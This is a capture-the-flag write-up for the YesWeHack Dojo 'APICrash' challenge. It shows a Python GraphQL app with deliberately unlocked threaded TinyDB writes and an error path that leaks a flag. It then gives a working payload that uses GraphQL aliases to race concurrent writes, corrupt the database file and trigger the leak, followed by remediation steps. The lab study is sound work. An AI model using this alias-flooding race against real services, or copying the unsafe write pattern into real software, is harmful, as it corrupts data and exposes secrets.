YesWeHack Dojo 47: APICrash
TL;DR
- GraphQL updatePost spawns a new thread per resolver call.
- TinyDB uses a shared file-backed JSON store without locking.
- GraphQL aliases allow many concurrent updatePost executions in one request.
- Concurrent writes corrupt the JSON file.
- Subsequent getPosts query errors, triggering flag disclosure via error handling.
Description
A new API has been developed in Python. The developers have placed great emphasis on the API's speed and load balancing, but at what cost?
Solution
In this writeup, we'll review the "APICrash" YesWeHack Dojo challenge, created by Brumens 🎅
Follow me on Twitter and LinkedIn (and everywhere else 🔪) for more hacking content! 🥰
Source code review
setup.py
import os, faker, sqlite3
tinydb = import_v("tinydb", "4.7.1")
os.chdir("/tmp")
os.mkdir("templates")
db = tinydb.TinyDB('data.json')
# Set the flag
os.environ["FLAG"] = flag
db.insert_multiple([
{
'id': 1,
'title': "First day with the new API!",
'content': "Just deployed the initial version - endpoints are live and stable so far. Excited to see what breaks first!",
},
{
'id': 2,
'title': "Quick performance check",
'content': "Optimised a few queries today. The response time dropped by nearly 40%.",
},
{
'id': 3,
'title': "Minor update pushed",
'content': "Added better error handling for POST requests and improved logging across the board.",
}
])
with open('templates/index.html', 'w') as f:
f.write('''
<!DOCTYPE html>
<html lang="en">
SNIPPED
</html>
'''.strip())
app.py
import os, json, tinydb, graphene, threading
from urllib.parse import unquote
from jinja2 import Environment, FileSystemLoader
template = Environment(
autoescape=True,
loader=FileSystemLoader('/tmp/templates'),
).get_template('index.html')
os.chdir('/tmp')
threads = []
db = tinydb.TinyDB('data.json')
# Define a proper Post type so Graphene knows the structure
class Post(graphene.ObjectType):
id = graphene.Int()
content = graphene.String()
class GraphqlQuery(graphene.ObjectType):
get_posts = graphene.List(Post)
update_post = graphene.Boolean(id=graphene.Int(), content=graphene.String())
def update_post_in_db(id, content):
node = db.search(tinydb.Query().id == int(id))
if node == []:
return False
else:
node[0]['content'] = content
db.update(node[0], tinydb.Query().id == int(id))
return True
def resolve_update_post(self, info, id, content):
t = threading.Thread(target=GraphqlQuery.update_post_in_db, args=[id, content])
t.start()
threads.append(t)
def resolve_get_posts(self, info):
return db.all()
def main():
# User input (GraphQL query)
query = unquote("USER_INPUT")
schema = graphene.Schema(query=GraphqlQuery)
schema.execute(query)
# Wait for all GraphQL processes to finish
for t in threads:
t.join()
result = schema.execute("{ getPosts { id content } }")
# Check if the JSON in the posts are malformed
posts = {}
# TODO : Random crashes appear time to time with same input, but different error. We working on a fix.
if result.errors:
posts = json.dumps({"FLAG": os.environ["FLAG"]}, indent=2)
else:
posts = json.dumps(result.data, indent=2)
print(template.render(posts=posts))
main()
The tinydb version is pinned to 4.7.1, while the latest release is 4.8.2. At first glance that looks intentional and makes you think about known vulnerabilities or CVEs. After checking the changelog though, there is nothing relevant here. No fixes around file corruption, atomic writes, locking, or concurrency. So the version itself is not the issue.
What is interesting is how TinyDB is being used. It is file-backed (data.json) and updates are handled in a threaded way:
def resolve_update_post(self, info, id, content):
t = threading.Thread(target=GraphqlQuery.update_post_in_db, args=[id, content])
t.start()
threads.append(t)
Each updatePost call spawns a new thread which modifies the same JSON file. There is no locking or synchronisation. TinyDB is file-backed and not thread-safe, so concurrent updates can corrupt the database. The developer even hints at this:
# TODO : Random crashes appear time to time with same input, but different error.
After our input is executed, the application always runs another query internally:
result = schema.execute("{ getPosts { id content } }")
If anything goes wrong during that query, the flag is returned:
if result.errors:
posts = json.dumps({"FLAG": os.environ["FLAG"]}, indent=2)
So the goal is simply to make { getPosts { ... } } fail.
Testing functionality
Basic usage works fine (love the binary snow animation 🌨). Fetching posts works, updating a single post works, and no errors are triggered.
{
updatePost(id:1, content:"meow")
}

The crash mentioned in the TODO comment does not happen with normal input, which suggests a race condition rather than a logic bug.
Exploit
Even though we only control a single input field, GraphQL supports aliases. Aliases allow the same field to be queried multiple times in one request:
{
a:updatePost(...)
b:updatePost(...)
}
Each alias is resolved independently. In this case, that means each alias spawns its own thread, all writing to the same data.json file at roughly the same time.
With enough concurrent updates, the JSON file becomes corrupted (partial writes / interleaving writes). When the application later runs { getPosts { id content } }, TinyDB fails to read the malformed file and Graphene reports an error. That error immediately triggers the flag disclosure.
This is the payload I used. The idea is to keep the ID valid and make the writes slower by using large content strings:
{
a0:updatePost(id:1,content:"meowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeow")
a1:updatePost(id:1,content:"pspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspsps")
a2:updatePost(id:1,content:"lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol")
a3:updatePost(id:1,content:"cryptocat.me_cryptocat.me_cryptocat.me_cryptocat.me_cryptocat.me_cryptocat.me_cryptocat.me_cryptocat.me")
a4:updatePost(id:1,content:"ekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekekek")
}
If it does not trigger immediately, increasing the number of aliases or the size of content makes it reliable.

Flag: FLAG{M4ke_It_Cr4sh_Th3y_Sa1d?!}
Remediation
- Serialise access to TinyDB using a lock or avoid threaded writes entirely.
- Do not use file-backed JSON storage for concurrent write workloads.
- Do not expose sensitive data based on generic error conditions.
Summary
updatePost spawns threads that concurrently rewrite TinyDB's JSON file without locking. By abusing GraphQL aliases, we can trigger many simultaneous updates in a single request and corrupt the database file. When the app later runs { getPosts { id content } }, the corrupted JSON causes a GraphQL error, and the application returns the flag when result.errors is set.